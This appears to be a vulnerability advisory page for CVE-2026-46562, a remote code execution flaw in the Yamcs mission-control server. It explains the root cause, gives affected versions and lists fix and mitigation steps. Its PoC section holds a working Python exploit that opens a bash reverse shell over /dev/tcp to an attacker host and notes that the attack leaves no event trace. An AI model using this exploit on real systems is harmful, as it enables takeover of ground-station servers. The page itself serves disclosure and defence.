CVE-2026-46562 is a critical-severity (CVSS 9.8) Code Injection vulnerability in org.yamcs:yamcs-core. A fix is available for org.yamcs:yamcs-core — see the affected versions and patch details below.
Yamcs: Remote Code Execution via Mission Database algorithm override
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46562.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-46562 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
org.yamcs:yamcs-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Remote Code Execution via Mission Database algorithm override
Summary
The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.
Details
Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java
// L46-53 Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
.filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
&& candidate.getNames().contains(language))
.findFirst().orElse(null);
if (factory != null) {
scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied
}
// L109 user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);
NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.
The path from HTTP request to eval is:
MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)
→ AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)
→ ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)
→ scriptEngine.eval(...).
PoC
Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).
Attacker-side listener:
nc -lvnp 4444
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request
TARGET = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = int(sys.argv[3])
INSTANCE = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"
# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
'} '
'Java.type("java.lang.Runtime").getRuntime().exec('
f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
'function _x(){'
)
patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"
def http(method, url, body=None):
req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
method=method, headers={"Content-Type": "application/json"})
return urllib.request.urlopen(req, timeout=10).read()
http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})
<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>
The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.
Impact
Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.
For a Yamcs deployment managing spacecraft operations, an attacker can:
- forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;
- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
- install a persistent backdoor via the same primitive.
Who is impacted:
- All Yamcs deployments running in the default configuration (no
security.yamlpresent): any unauthenticated network attacker that can reach the HTTP API port (default8090). - Yamcs deployments with security enabled: any user that has been granted the
ChangeMissionDatabasesystem privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.
Affected Versions
All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.
- First vulnerable release:
yamcs-4.7.3(2018-11-22). Introduced in commit951e505d18a3912813b59edc685cbcbd4c609906("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added theChangeAlgorithmRequestRPC (later renamedUpdateAlgorithmRequest) and routed it asPATCH /api/mdb/{instance}/{processor}/algorithms/{name*}. - Routing change at
yamcs-5.5.0(2021-04): the endpoint was split out ofMdbApiintoMdbOverrideApiand moved toPATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlyingscriptEngine.eval(...)sink and the missingClassFilterare identical. - Latest release:
yamcs-5.12.6(commitf1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java,AlgorithmManager.java,ScriptAlgorithmExecutorFactory.java,SecurityStore.java) are unchanged between5.12.6and currentmaster(96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.
In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.yamcs:yamcs-core | all versions | 5.12.7org.yamcs:yamcs-core:5.12.7 |
Affected Products
yamcsspaceapplicationsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.yamcs:yamcs-core to 5.12.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46562 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-46562 in your dependencies?
Find it across Maven, including transitive dependencies.